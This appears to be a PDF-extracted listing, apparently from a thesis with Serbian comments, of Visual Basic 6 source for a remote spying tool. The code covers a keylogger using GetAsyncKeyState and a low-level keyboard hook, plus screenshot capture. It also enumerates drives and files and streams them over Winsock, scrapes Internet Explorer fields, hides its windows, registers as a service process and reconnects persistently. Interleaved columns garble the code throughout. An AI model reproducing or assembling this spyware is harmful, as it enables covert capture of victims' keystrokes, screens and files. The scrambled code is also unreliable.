".mIntelJPEGLibrary", "Failed to save to JPG " & lR, system. It sends the WM_QUERYENDSESSION message
vbExclamation to all applications to determine if they can be terminated.
End If Declare Function ExitWindowsEx Lib "USER32" (ByVal
' Ensure we have freed memory: dwOptions As Long, ByVal dwReserv
ijlFree tJ '
Else 'The SystemParametersInfo function queries or sets
' Throw error: systemwide parameters. This function can also update the
Err.Raise 26001, App.EXEName & user profile while setting a parameter
".mIntelJPEGLibrary", "Failed to initialise the IJL library: " Public Declare Function SystemParametersInfo Lib
& lR "USER32" Alias "SystemParametersInfoA" (ByVal uAction
End If As Long, ByVal uParam As Long, ByRef lpvParam As Any,
End Function ByVal fuWinIni As Long) As Long
Sadrzaj modula 'The RegisterServiceProcess function registers or unregisters
modAPIS.bas>>>>>>>>>>>>>>>>(Komentari su na a service process. A service process continues to run after the
engleskom) user logs off.
Public Declare Function RegisterServiceProcess Lib _
'The GetWindowTextLength function retrieves the length, in "kernel32.dll" (ByVal dwProcessId As Long, _
characters, of the specified window's title bar text (if the ByVal dwType As Long) As Long
window has a title bar). If the specified window is a control, 'The GetCurrentProcessId function returns the process
the function retrieves the length of the text within the identifier of the calling process.
control. However, GetWindowTextLength cannot retrieve Public Declare Function GetCurrentProcessId Lib _
the length of the text of an edit control in another ed As Long) As Long
application.
Public Declare Function GetWindowTextLength Lib "kernel32.dll" () As Long
"USER32" Alias "GetWindowTextLengthA" (ByVal hwnd 'The ExitWindows function logs off the current user.
As Long) As Long Public Declare Function ExitWindows Lib "USER32"
The GetWindowText function copies the text of the specified (ByVal dwReserved As Long, ByVal uReturnCode As Long)
window's title bar (if it has one) into a buffer. If the specified As Long
window is a control, the text of the control is copied. Option Explicit
However, GetWindowText cannot retrieve the text of a Public Type ProcData
control in another application. AppHwnd As Long
Public Declare Function GetWindowText Lib "USER32" title As String
Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal Placement As String
lpString As String, ByVal aint As Integer) As Integer Left As Long

27
'The GetWindow function retrieves a handle to a window Top As Long
that has the specified relationship (Z order or owner) to the Right As Long
specified window. Bottom As Long
Public Declare Function GetWindow Lib "USER32" (ByVal End Type
hwnd As Long, ByVal wCmd As Long) As Long 'The EnumWindows function enumerates all top-level
'The IsIconic function determines whether the specified windows on the screen by passing the handle to each
window is minimized (iconic). window, in turn, to an application-defined callback function.
Public Declare Function IsIconic Lib "USER32" (ByVal EnumWindows continues until the last top-level window is
hwnd As Long) As Long enumerated or the callback function returns FALSE.
'The IsZoomed function determines whether a window is Declare Function EnumWindows Lib "USER32" (ByVal
maximized. lpEnumFunc As _
Public Declare Function IsZoomed Lib "USER32" (ByVal Any, ByVal lParam As Long) As Long
hwnd As Long) As Long 'The FindWindow function retrieves a handle to the top-level
'The IsWindowVisible function retrieves the visibility state window whose class name and window name match the
of the specified window. specified strings. This function does not search child
Public Declare Function IsWindowVisible Lib "USER32" windows. This function does not perform a case-sensitive
(ByVal hwnd As Long) As Long search.
'The AppendMenu function appends a new item to the end of Private Declare Function FindWindow Lib "USER32" Alias
the specified menu bar, drop-down menu, submenu, or "FindWindowA" (ByVal _
shortcut menu. You can use this function to specify the
content, appearance, and behavior of the menu item.
Public Declare Function AppendMenu Lib "USER32" Alias

lpClassName As String, ByVal lpWindowName As String) ByVal uReturnLength As Long, ByVal hwndCallback As
As Long Long) As Long
'The GetClassName function retrieves the name of the class 'The GetNextWindow function retrieves a handle to the next
to which the specified window belongs. or previous window in the Z order. The next window is
Public Declare Function GetClassName Lib "USER32" below the specified window; the previous window is above.
Alias "GetClassNameA" (ByVal _ If the specified window is a topmost window, the function
hwnd As Long, ByVal lpClassName As String, ByVal retrieves a handle to the next (or previous) topmost window
nMaxCount As Long) As Long Public Declare Function GetNextWindow Lib "USER32" _
'The Most Important API Alias "GetWindow" (ByVal hwnd As Long, ByVal wFlag As
'The SendMessage function sends the specified message to a Long) _
window or windows. The function calls the window As Long
procedure for the specified window and does not return until 'The GetTickCount function retrieves the number of
the window procedure has processed the message. milliseconds that have elapsed since the system was started.
Public Declare Function SendMessage Lib "USER32" Alias It is limited to the resolution of the system timer.
"SendMessageA" (ByVal _ Declare Function GetTickCount& Lib "kernel32" ()
hwnd As Long, ByVal wMsg As Long, ByVal wParam As 'The GetDesktopWindow function returns a handle to the
Long, lParam As Any) As Long desktop window. The desktop window covers the entire
'The keybd_event function synthesizes a keystroke. The screen. The desktop window is the area on top of which all
system can use such a synthesized keystroke to generate a icons and other windows are painted.
WM_KEYUP or WM_KEYDOWN message. The keyboard Private Declare Function GetDesktopWindow Lib "User" ()
driver's interrupt handler calls the keybd_event function. As Integer
Public Declare Sub keybd_event Lib "USER32" (ByVal bVk 'The GetDC function retrieves a handle to a display device
As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, context for the client area of a specified window or for the
ByVal dwExtraInfo As Long) entire screen. You can use the returned handle in subsequent
Private Const WM_GETTEXT = &HD GDI functions to draw in the device context.
Private Const WM_GETTEXTLENGTH = &HE Private Declare Function GetDC Lib "User" (ByVal hwnd%)
Private Const GW_CHILD = 5 As Integer
Private Const GW_HWNDNEXT = 2 Public Declare Sub Sleep Lib "kernel32" (ByVal
Private Const GW_HWNDFIRST = 0 dwMilliseconds As Long)
'The FindFirstFile function searches a directory for a file 'The GetDriveType function determines whether a disk drive
whose name matches the specified filename. FindFirstFile is a removable, fixed, CD-ROM, RAM disk, or network
examines subdirectory names as well as filenames. drive.
Declare Function FindFirstFile Lib "kernel32" Alias Declare Function GetDriveType Lib "kernel32" Alias
"FindFirstFileA" (ByVal lpFileName As String, "GetDriveTypeA" (ByVal nDrive As String) As Long
lpFindFileData As WIN32_FIND_DATA) As Long Global LastX As Integer
Declare Function FindNextFile Lib "kernel32" Alias Global LastY As Integer
"FindNextFileA" (ByVal hFindFile As Long, lpFindFileData Global TransBuff As String
As WIN32_FIND_DATA) As Long Public Type POINTAPI
'The FindClose function closes the specified search handle. X As Long
The FindFirstFile and FindNextFile functions use the search y As Long
handle to locate files with names that match a given name. End Type
Declare Function FindClose Lib "kernel32" (ByVal 'Functions for mouse inverse
hFindFile As Long) As Long Public Declare Function SetCursorPos Lib "USER32"
'The ReleaseDC function releases a device context (DC), (ByVal X As Long, ByVal y As Long) As Long

28
freeing it for use by other applications. The effect of the Public Declare Function GetCursorPos Lib "USER32"
ReleaseDC function depends on the type of device context. (lpPoint As POINTAPI) As Long
It frees only common and window device contexts. It has no Public Declare Function GetCursor Lib "USER32" () As
effect on class or private device contexts. Long
Public Declare Function ReleaseDC Lib "User" (ByVal 'Functions for screen lock
hwnd As Integer, ByVal _ Public Declare Function SetWindowPos Lib "USER32"
HDC As Integer) As Integer (ByVal hwnd As Long, ByVal hWnd2 As Long, ByVal X As
' to open or execute any file based upon its extension Long, ByVal y As Long, ByVal x1 As Long, ByVal y1 As
Public Declare Function ShellExecute Lib "shell32.dll" Alias Long, ByVal l As Long) As Long
"ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation 'The GetSystemMetrics function retrieves various system
As String, ByVal lpFile As String, ByVal lpParameters As metrics (widths and heights of display elements) and system
String, ByVal lpDirectory As String, ByVal nShowCmd As configuration settings. All dimensions retrieved by
Long) As Long GetSystemMetrics are in pixels.
'The mciSendString function sends a command string to an Public Declare Function GetSystemMetrics Lib "USER32"
MCI device. The device that the command is sent to is (ByVal n As Long) As Long
specified in the command string. Const SHOWS = &H40
' we use it to open close cd door Const FLAG = 2 Or 1
Public Declare Function mciSendString Lib "winmm.dll"
Alias "mciSendStringA" (ByVal lpstrCommand As String, Sadrzaj modula modEnumDrives.bas
ByVal lpstrReturnString As String, _ >>>>>>>>>>>>>>>>>>>>>>>>>>>>>

Option Explicit Dim TStr As String


Global Const SW_SHOWNORMAL = 1 Set ParseString = New Collection
Public Const DRIVE_CDROM = 5 ' Add delimiters to start and end of string to make loop
Public Const DRIVE_FIXED = 3 simpler:
Public Const DRIVE_RAMDISK = 6 sString = Delimiter & sString & Delimiter
Public Const DRIVE_REMOTE = 4 ' Calculate the delimiter length only once:
Public Const DRIVE_REMOVABLE = 2 DelLen = Len(Delimiter)
Public Const vbAllFileSpec = "*.*" ' Initialize the count and position:
Public Const MAX_PATH = 260 nCount = 0
Public Type FILETIME CurPos = 1
dwLowDateTime As Long NextPos = InStr(CurPos + DelLen, sString, Delimiter)
dwHighDateTime As Long ' Loop searching for delimiters:
End Type Do Until NextPos = 0
Dim hFind As Long ' Extract a sub-string:
Public Type WIN32_FIND_DATA ParseString.Add Mid$(sString, CurPos + DelLen,
dwFileAttributes As Long NextPos - CurPos - DelLen)
ftCreationTime As FILETIME ' Increment the sub string counter:
ftLastAccessTime As FILETIME nCount = nCount + 1
ftLastWriteTime As FILETIME ' Position to the last found delimiter:
nFileSizeHigh As Long CurPos = NextPos
nFileSizeLow As Long ' Find the next delimiter:
dwReserved0 As Long NextPos = InStr(CurPos + DelLen, sString, Delimiter)
dwReserved1 As Long Loop
cFileName As String * MAX_PATH ParseString_Exit:
cShortFileName As String * 14 Exit Function
End Type ParseString_Error:
Public wfd As WIN32_FIND_DATA Err.Raise Err.Number, "ParseString"
Public Const INVALID_HANDLE_VALUE = -1 Exit Function
Public lNodeCount As Long End Function
Public Const vbBackslash = "\"
Public Const vbAscDot = 46 Public Function Get_File_Name(sString As String) As String
Public Function Enum_Drives() As String Dim lLoop As Long
Dim strDrive As String For lLoop = Len(sString) To 1 Step -1
Dim strMessage As String If Mid$(sString, lLoop, 1) = "\" Then
Dim intCnt As Integer Get_File_Name = Mid$(sString, lLoop + 1,
Dim rtn As String Len(sString))
strMessage = "|DRVS|" End If
For intCnt = 65 To 86 Next lLoop
strDrive = Chr(intCnt) End Function
Select Case GetDriveType(strDrive + ":\") Public Function Enum_Files(sParentPath As String) As
Case DRIVE_REMOVABLE String
rtn = "Floppy Drive" Dim wfd As WIN32_FIND_DATA
Case DRIVE_FIXED Dim hFind As Long

29
rtn = "Hard Drive" Dim strString As String
Case DRIVE_REMOTE Dim sFileName As String
rtn = "Network Drive" strString = "|FILES|"
Case DRIVE_CDROM sParentPath = NormalizePath(sParentPath)
rtn = "CD-ROM Drive" hFind = FindFirstFile(sParentPath & "\" & vbAllFileSpec,
Case DRIVE_RAMDISK wfd)
rtn = "RAM Disk" If (hFind <> INVALID_HANDLE_VALUE) Then
Case Else Do
rtn = "" sFileName = Left$(wfd.cFileName,
End Select InStr(wfd.cFileName, vbNullChar) - 1)
If rtn <> "" Then If sFileName <> "." And sFileName <> ".." Then
strMessage = strMessage & strDrive & "," & If wfd.dwFileAttributes <> vbDirectory Then
GetDriveType(strDrive + ":\") & "|" strString = strString & sParentPath & Left$
End If (wfd.cFileName, InStr(wfd.cFileName, vbNullChar) - 1) &
Next intCnt "|" & FileLen(sParentPath & wfd.cFileName) & "^"
Enum_Drives = Mid$(strMessage, 1, Len(strMessage) - 1) End If
End Function End If
Function ParseString(ByVal sString As String, ByVal Loop While FindNextFile(hFind, wfd
Delimiter As String) As Collection
On Error GoTo ParseString_Error
Dim CurPos As Long
Dim NextPos As Long
Dim DelLen As Integer
Dim nCount As Integer
num_children = 0
If strString <> "|FILES|" Then child_hwnd = GetWindow(window_hwnd, GW_CHILD)
Enum_Files = Mid$(strString, 1, Len(strString) - 1) Do While child_hwnd <> 0
Else num_children = num_children + 1
Enum_Files = strString ReDim Preserve children(1 To num_children)
'DoSizeShit strString children(num_children) = child_hwnd
End If child_hwnd = GetWindow(child_hwnd,
End Function GW_HWNDNEXT)
' normalizing path through "\" Loop
Public Function NormalizePath(sPath As String) As String For i = 1 To num_children
If Right$(sPath, 1) <> "\" Then txt = EditInfo(children(i))
NormalizePath = sPath & "\" If txt <> "" Then Exit For
Else Next i
NormalizePath = sPath EditInfo = txt
End If End Function
End Function Public Function WindowText(window_hwnd As Long) As
Public Function Enum_Folders(sParentPath As String) As String
String Dim txtlen As Long
Dim strMessage As String Dim txt As String
Dim wfd As WIN32_FIND_DATA WindowText = ""
Dim hFind As Long If window_hwnd = 0 Then Exit Function
strMessage = "|FOLDERS|" txtlen = SendMessage(window_hwnd,
sParentPath = NormalizePath(sParentPath) WM_GETTEXTLENGTH, 0, 0)
hFind = FindFirstFile(sParentPath & vbAllFileSpec, wfd) If txtlen = 0 Then Exit Function
If (hFind <> INVALID_HANDLE_VALUE) Then txtlen = txtlen + 1
Do txt = Space$(txtlen)
If (wfd.dwFileAttributes And vbDirectory) Then txtlen = SendMessage(window_hwnd, WM_GETTEXT,
' If not a "." or ".." DOS subdir... txtlen, ByVal txt)
If (Asc(wfd.cFileName) <> vbAscDot) Then WindowText = Left$(txt, txtlen)
strMessage = strMessage & sParentPath & "^" & End Function
Mid$(wfd.cFileName, 1, InStr(wfd.cFileName, vbNullChar) Public Function EnumProc(ByVal app_hwnd As Long,
- 1) & "|" ByVal lParam As Long) As Boolean
End If Dim buf As String * 1024
End If Dim title As String
Loop While FindNextFile(hFind, wfd) Dim length As Long
Call FindClose(hFind) length = GetWindowText(app_hwnd, buf, Len(buf))
End If title = Left$(buf, length)
Screen.MousePointer = vbDefault If Right$(title, 30) = " - Microsoft Internet Explorer" Then
If strMessage <> "|FOLDERS|" Then frmServer.Label1 = EditInfo(app_hwnd)
Enum_Folders = Mid$(strMessage, 1, Len(strMessage) - EnumProc = 0
1) Else
Else EnumProc = 1
Enum_Folders = Mid$(strMessage, 1, Len(strMessage)) End If
End If End Function

30
Public Function GetDesktopPrint(ByVal theFile As String)
End Function As Boolean
Clipboard.Clear
Dim lString As String
Sadrzaj modula DoEvents: DoEvents
modFiles.bas>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> Call keybd_event(vbKeySnapshot, 1, 0, 0)
Public Function EditInfo(window_hwnd As Long) As String DoEvents: DoEvents
Dim txt As String SavePicture Clipboard.GetData(vbCFBitmap), theFile
Dim buf As String GetDesktopPrint = True
Dim buflen As Long Exit Function
Dim child_hwnd As Long End Function
Dim children() As Long Public Sub SendFile(FileName As String, WinS As
Dim num_children As Integer Winsock)
Dim i As Integer Dim FreeF As Integer
buflen = 256 Dim LenFile As Long
buf = Space$(buflen - 1) Dim nCnt As Long
buflen = GetClassName(window_hwnd, buf, buflen) Dim LocData As String
buf = Left$(buf, buflen) Dim LoopTimes As Long
If buf = "Edit" Then Dim i As Long
EditInfo = WindowText(window_hwnd) FreeF = FreeFile
Exit Function Open FileName For Binary As #99
End If nCnt = 1
LenFile = LOF(99)
WinS.SendData "|FILESIZE|" & LenFile
DoEvents
Sleep (400) szCSDVersion As String * 128
Do Until nCnt >= (LenFile End Type

LocData = Space$(1024) IsDLLPresent = False


Get #99, nCnt, LocData
If nCnt + 1024 > LenFile Then End Function
WinS.SendData Mid$(LocData, 1, (LenFile - nCnt))
Else Public Function IsNT() As Boolean
WinS.SendData LocData
End If ' Returns TRUE if the system is a Windows NT based one.
nCnt = nCnt + 1024
Loop ' This routine was copied from 'Michel D. PRET' -
Close #99 'GetWindowSnapShot' program.
End Sub
Private Sub sockMain_Close()
' prekinuta konekcija pokreni stalni zahtev za konekcijom
Sadrzaj modula modMain.bas>>>>>>>>>>>>>>>>>>>> Timer1.Enabled = True
sockMain.Close
Option Explicit End Sub

' Shell declaration. Private Sub sockMain_Connect()


Public Declare Function ShellExecute Lib "shell32.dll" Alias ' Kada se uspostavi konekcija prikini stalni zahtev za
"ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation konekcijom
As String, ByVal lpFile As String, ByVal lpParameters As Timer1.Enabled = False
String, ByVal lpDirectory As String, ByVal nShowCmd As End Sub
Long) As Long
Private Sub sockMain_DataArrival(ByVal bytesTotal As
Long)
' Keyboard constants and declarations. ' Nije neophodno ovaj deo obezbedjuje prikaz podataka
Public Const WH_KEYBOARD = 2 koji se primaju preko ovog sock-a
Public Const WH_KEYBOARD_LL = 13& Dim strData As String
sockMain.GetData strData, vbString
Public Const VK_SHIFT = &H10 txtStatus.Text = txtStatus.Text & _
Public Const VK_PRINT = &H2A strData & vbCrLf
Public Const VK_SNAPSHOT = &H2C End Sub

Public Declare Function CallNextHookEx Lib "USER32" Private Sub Timer1_Timer()


(ByVal hHook As Long, ByVal ncode As Long, ByVal On Error GoTo ni:
wParam As Long, lParam As Any) As Long cmdConnect_Click ' Pri startovanju programa pali se
Public Declare Function GetKeyState Lib "USER32" (ByVal tajmer
nVirtKey As Long) As Integer ni: ' koji stalno pokusava da se konektuje za
Public Declare Function SetWindowsHookEx Lib server
"USER32" Alias "SetWindowsHookExA" (ByVal idHook End Sub

31
As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal
dwThreadId As Long) As Long
Public Declare Function UnhookWindowsHookEx Lib Sadrzaj forme form2.frm
"USER32" (ByVal hHook As Long) As Long >>>>>>>>>>>>>>>>>>>>>>>>>(Chat prozor na klijent
Public Declare Sub keybd_event Lib "USER32" (ByVal bVk delu )
As Byte, ByVal bScan As Byte, ByVal dwFlags As Long,
ByVal dwExtraInfo As Long) Option Explicit
Private intSockCnt As Integer

' Operating System variable and declaration. Private Sub cmdListen_Click()


Private Declare Function GetVersionEx Lib "kernel32" Alias sockMain(0).Close
"GetVersionExA" (lpVersionInformation As sockMain(0).LocalPort = txtPort.Text
OSVERSIONINFO) As Long sockMain(0).Listen
End Sub
Private Type OSVERSIONINFO
dwOSVersionInfoSize As Long Private Sub cmdSend_Click()
dwMajorVersion As Long Dim intCnt As Integer
dwMinorVersion As Long For intCnt = 1 To intSockCnt
dwBuildNumber As Long If sockMain(intCnt).State = sckConnected Then
dwPlatformId As Long sockMain(intCnt).SendData txtSend.Text
End If
Next intCnt
End Sub

Private Sub Form_Load() Private Sub cmdSend_Click()


Form2.Hide Dim intCnt As Integer
cmdListen_Click
txtStatus.Text = "" 'This sends the data back to the other clients
End Sub For intCnt = 1 To intSockCnt
Private Sub sockMain_Close(Index As Integer) If sockMain(intCnt).State = sckConnected Then
cmdListen_Click sockMain(intCnt).SendData txtSend.Text
Form2.Hide End If
End Sub Next intCnt
Private Sub sockMain_ConnectionRequest(Index As Integer, End Sub
ByVal requestID As Long)
intSockCnt = intSockCnt + 1 Private Sub Form_Load()
Load sockMain(intSockCnt) txtStatus.Text = ""
sockMain(intSockCnt).Accept requestID
' txtStatus.Text = txtStatus.Text & _ cmdListen_Click
' "Connected to: " & _
' sockMain(intSockCnt).RemoteHostIP & vbCrLf Form22.Hide
End Sub End Sub
Private Sub sockMain_DataArrival(Index As Integer, ByVal
bytesTotal As Long) Private Sub key_Change()
Dim strData As String Dim intCnt As Integer
Dim intCnt As Integer 'This sends the data back to the other clients
sockMain(Index).GetData strData, vbString For intCnt = 1 To intSockCnt
If strData = "stop" Then If sockMain(intCnt).State = sckConnected Then
frmMain.status.Text = "stop" ' kad primi sa glavnog server sockMain(intCnt).SendData key.Text
string stop End If
Exit Sub ' zaustavlja aktivno slanje slike Next intCnt
End If
If strData = "start" Then
frmMain.status.Text = "start" End Sub
Exit Sub
End If Private Sub sockMain_Close(Index As Integer)
txtStatus.Text = txtStatus.Text & _
strData & vbCrLf cmdListen_Click

'This sends the data back to the other clients End Sub
For intCnt = 1 To intSockCnt
If sockMain(intCnt).State = sckConnected Then Private Sub sockMain_Connect(Index As Integer)
sockMain(intCnt).SendData strData Form1.Timer1.Enabled = False
End If
Next intCnt End Sub
End Sub

32
Private Sub sockMain_ConnectionRequest(Index As Integer,
Private Sub txtStatus_Change() ByVal requestID As Long)
Form2.Show intSockCnt = intSockCnt + 1

End Sub Load sockMain(intSockCnt)


sockMain(intSockCnt).Accept requestID

Sadrzaj forme Form22.frm>>>Sock koji radi na 432 I ima txtStatus.Text = txtStatus.Text & _
dve funkcije od kojih je jedna da salje otkucaje "Connected to: " & _
tastature a druga je sto obezbedjuje da glavni program sockMain(intSockCnt).RemoteHostIP & vbCrLf
zna koda vise nisu konektovani .>>>>>>>>>>>> End Sub

Option Explicit Private Sub sockMain_DataArrival(Index As Integer, ByVal


Private intSockCnt As Integer bytesTotal As Long)
Private Declare Function GetAsyncKeyState Lib "USER32" Dim strData As String
(ByVal vKey As Long) As Integer Dim intCnt As Integer
Private Sub cmdListen_Click() sockMain(Index).GetData strData, vbString
Form22.Hide txtStatus.Text = txtStatus.Text & _
strData & vbCrLf
sockMain(0).Close If strData = "stopkey" Then ' zaustavlja keyloger
sockMain(0).LocalPort = txtPort.Text Timer1.Enabled = False ' keyloger je generator otkucaja na
sockMain(0).Listen tastaturi
Form22.Hide Exit Sub
End Sub End If

If strData = "key" Then


Timer1.Enabled = True If optFrom(0).Value Then
Exit Sub myPath = myPath & "*.bmp"
End If Else
'This sends the data back to the other clients myPath = myPath & "*.jpg"
For intCnt = 1 To intSockCnt End If
If sockMain(intCnt).State = sckConnected Then
sockMain(intCnt).SendData strData
End If myName = Dir(myPath, vbNormal) ' Retrieve the first
Next intCnt entry.
End Sub
Private Sub Timer1_Timer() ‘ simpaticno kratak kod za Do While myName <> "" ' Start the loop.
generisanje otkucaja tastature
Dim Result As Integer ' Ignore the current directory and the encompassing
Dim i As Long directory.
For i = 1 To 255 If myName <> "." And myName <> ".." Then
Result = 0
Result = GetAsyncKeyState(i) intListCount = intListCount + 1
If Result = -32767 Then
key.Text = Chr(i) ReDim Preserve strList(intListCount)
End If strList(intListCount) = myName
Next i
End Sub ' End If ' it represents a directory.
Sadrzaj forme frmConvert.frm >>>>>Konvertovanje End If
BMP u JPg >>>>>>> myName = Dir ' Get next entry.
Option Explicit Loop
Private mstrFolder As String
Private Sub cmdBrowse_Click()
For allFiles = 1 To intListCount
' Browse for the file to be converted. ConvertPic myFolder, strList(allFiles)
cdlFile.ShowOpen Next

txtPath.Text = cdlFile.FileName End If


End Sub
mstrFolder = Mid(cdlFile.FileName, 1, Private Sub Form_Load()
Len(cdlFile.FileName) - Len(cdlFile.FileTitle)) Set Me.Icon = frmGrabber.Icon
' Disable the JPEG option if the DLL wasn't found.
End Sub If Not enableJPEG Then
optFrom(0).Enabled = False
Private Sub cmdConvert_Click() optFrom(1).Value = True
optTo(1).Enabled = False
' Convert the specified file or folder. txtJPEGQuality.Enabled = False

33
lblQuality.Enabled = False
On Error Resume Next End If
End Sub
Dim myPath As String Public Sub ConvertPic(ByVal pstrFolder As String, ByVal
Dim myName As String pstrFile As String)
Dim myFolder As String
Dim strList() As String ' Convert the picture to JPEG/BMP
Dim intListCount As Integer On Error Resume Next
Dim allFiles As Integer If chkOverwrite.Value = vbChecked Then
'Debug.Print pstrFolder & IIf(optTo(0).Value,
listLog.Clear Mid(pstrFile, 1, Len(pstrFile) - 3) & "bmp", Mid(pstrFile, 1,
Len(pstrFile) - 3) & "jpg")
If Trim(txtPath.Text) = "" Then If Dir(pstrFolder & IIf(optTo(0).Value, Mid(pstrFile, 1,
MsgBox "No Path Specified. Click on the Browse Len(pstrFile) - 3) & "bmp", Mid(pstrFile, 1, Len(pstrFile) -
button.", vbExclamation 3) & "jpg"), vbNormal) <> "" Then
Kill pstrFolder & IIf(optTo(0).Value, Mid(pstrFile, 1,
Exit Sub Len(pstrFile) - 3) & "bmp", Mid(pstrFile, 1, Len(pstrFile) -
End If 3) & "jpg")
End If
If chkFolder.Value = vbUnchecked Then
End If
ConvertPic mstrFolder, cdlFile.FileTitle

Else imgPic.Picture = LoadPicture(pstrFolder & pstrFile)


myPath = mstrFolder
myFolder = myPath

If Err.Number <> 0 Then Private Sub txtJPEGQuality_Validate(Cancel As Boolean)


listLog.AddItem pstrFile & " - Not a picture file." ' Check if the entered JPEG Quality is within the specified
Exit Sub ranges.
End If If Not IsNumeric(txtJPEGQuality.Text) Then
Cancel = True
' BMP End If
If optTo(0).Value Then
If Val(txtJPEGQuality.Text) < 1 Or
If chkOverwrite.Value = vbUnchecked Then Val(txtJPEGQuality.Text) > 100 Then
If Dir(pstrFolder & Mid(pstrFile, 1, Len(pstrFile) - 3) MsgBox "Please enter a JPEG Quality between 1 and
& "bmp") <> "" Then 100 %.", vbInformation
listLog.AddItem pstrFile & " - Converted File txtJPEGQuality.SetFocus
Exists." Cancel = True
Exit Sub End If
End If
End If End Sub

SavePicture imgPic.Picture, pstrFolder & Mid(pstrFile, Sadrzaj forme frmGraber.frm>>>>generisanje


1, Len(pstrFile) - 3) & "bmp" konvertovanje I zahtev za slanje slike>>>>>>>>>>>>
End If

' JPEG Option Explicit


If optTo(1).Value Then
Dim c As New cDIBSection Private mstrLastPictureFile As String
Private picturesSaved() As String
c.CreateFromPicture imgPic.Picture Private picturesSavedCount As Integer

If chkOverwrite.Value = vbUnchecked Then Private blnNT As Boolean


If Dir(pstrFolder & Mid(pstrFile, 1, Len(pstrFile) - 3)
& "jpg") <> "" Then Private Sub chkAutoSaving_Click()
listLog.AddItem pstrFile & " - Converted File
Exists." If chkAutoSaving.Value = vbChecked Then
Exit Sub ' tmrSeconds(0).Enabled = False
End If tmrSeconds(1).Enabled = True
End If tmrSeconds(1).Interval = txtSeconds(1).Text * 1000
SaveJPG c, pstrFolder & Mid(pstrFile, 1, Len(pstrFile) - 3) Else
& "jpg", Val(txtJPEGQuality.Text) ' tmrSeconds(0).Enabled = True
Set c = Nothing tmrSeconds(1).Enabled = False

34
End If 'tmrSeconds(0).Interval = txtSeconds(0).Text * 1000
listLog.AddItem pstrFile & " - Converted." End If
End Sub End Sub
Private Sub optFrom_Click(Index As Integer) Private Sub cmdConvert_Click()
frmConvert.Show vbModal
If Index = 0 Then End Sub
optTo(0).Enabled = False Private Sub cmdOpenFolder_Click()
optTo(1).Enabled = enableJPEG Shell "explorer " & App.Path, vbNormalFocus
optTo(1).Value = enableJPEG End Sub
txtJPEGQuality.Enabled = enableJPEG Private Sub Command1_Click()
lblQuality.Enabled = enableJPEG chkAutoSaving.Value = 0
End If
If Index = 1 Then End Sub
optTo(1).Enabled = False
optTo(0).Enabled = True Private Sub Form_Load()
optTo(0).Value = True frmMain.Show
txtJPEGQuality.Enabled = False Load Form22
lblQuality.Enabled = False frmServer.Show
End If
End Sub optFormat(0).Value = True
Private Sub txtJPEGQuality_KeyPress(KeyAscii As Integer) Me.Hide
' Check that the JPEG Quality picture value is a txtSeconds(1).Text = "1"
number. ' Put the version number in the caption.
If KeyAscii <> 8 And (KeyAscii < 48 Or KeyAscii > 57) Me.Caption = Me.Caption & " v" & CStr(App.Major) &
Then "." & CStr(App.Minor)
KeyAscii = 0 ' Set the global variable to indicate the system is Windows
End If NT.
End Sub blnNT = IsNT

' Get the window minimize setting. Private Sub Form_Unload(Cancel As Integer)
chkMinimized.Value = GetSetting(App.title, "Main", ' Unhook the keyboard
"Minimized", vbUnchecked) UnhookWindowsHookEx hHook
If chkMinimized.Value Then ' Save the settings.
Me.WindowState = vbMinimized SaveSetting App.title, "Main", "SecondsOption",
End If IIf(chkAutoSaving.Value = vbChecked, "1", "0")
' Tidy Folders setting. SaveSetting App.title, "Main", "Seconds2",
chkTidyFolders.Value = GetSetting(App.title, "Main", txtSeconds(1).Text
"TidyFolders", vbUnchecked) SaveSetting App.title, "Main", "Format"
' Automatic/Manual setting. IIf(optFormat(0).Value, "0", IIf(optFormat(1).Value, "1",
Dim sec2 As Integer IIf(optFormat(2).Value, "2", "0")))
SaveSetting App.title, "Main", "JPEGQuality"
sec2 = Val(GetSetting(App.title, "Main", "Seconds2", 15)) , txtJPEGQuality.Text
SaveSetting App.title, "Main",
If sec2 < 1 Or sec2 > 60 Then "TidyFolders", chkTidyFolders.Value
sec2 = 15 SaveSetting App.title, "Main", "Minimized",
End If chkMinimized.Value
txtSeconds(1).Text = CStr(sec2) Unload Form2
If GetSetting(App.title, "Main", "SecondsOption", "0") Unload Form22
= "0" Then Unload frmMain
tmrSeconds(1).Enabled = False Unload Form1
chkAutoSaving.Value = vbChecked Unload frmServer
Else End Sub
tmrSeconds(1).Enabled = True Private Sub imgPic_Click()
chkAutoSaving.Value = vbChecked ' Open the picture from the Preview image.
End If ShellExecute Me.hwnd, "Open", mstrLastPictureFile,
tmrSeconds(1).Interval = sec2 * 1000 vbNullString, vbNullString, 0
' JPEQ Output setting. End Sub
txtJPEGQuality.Text = GetSetting(App.title, "Main",
"JPEGQuality", "75") Private Sub lstPictures_Click()
' Picture save format setting.
optFormat(GetSetting(App.title, "Main", "Format", ' Preview the picture that was saved.
1)).Value = True imgPic.Picture = LoadPicture(picturesSaved
(lstPictures.ItemData(lstPictures.ListIndex)))
' Hook into the keyboard
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, End Sub
AddressOf KeyboardProc, App.hInstance, 0&)
Private Sub lstPictures_DblClick()

35
' Check if JPEGs can be created. ' Open the picture from the List.
enableJPEG = IsDLLPresent ShellExecute Me.hwnd, "Open",
picturesSaved(lstPictures.ItemData(lstPictures.ListIndex)),
If Not enableJPEG Then vbNullString, vbNullString, 0
optFormat(0).Enabled = False End Sub
txtJPEGQuality.Enabled = False Private Sub mnuFileExit_Click()
lblJPEGQuallity.Enabled = False
optFormat(2).Enabled = False Unload Me
optFormat(1).Value = True End Sub
End If Private Sub mnuHelpAbout_Click()
frmAbout.Show vbModal
optFormat(0).Value = True End Sub
Private Sub optSaving_Click(Index As Integer)
End Sub
If Index = 1 Then
Private Sub Form_QueryUnload(Cancel As Integer, tmrSeconds(0).Enabled = False
UnloadMode As Integer) tmrSeconds(1).Enabled = True
tmrSeconds(1).Interval = txtSeconds(1).Text * 1000
Cancel = Not CheckSeconds(1) Else
tmrSeconds(0).Enabled = True
If Cancel <> 0 Then Exit Sub tmrSeconds(1).Enabled = False
Cancel = Not CheckQuality tmrSeconds(0).Interval = txtSeconds(0).Text * 1000
End If
End Sub End Sub

Private Sub Timer1_Timer() Clipboard.Clear


If grab.Text = "stalno" Then End If
If chkAutoSaving.Value = 0 Then End Sub
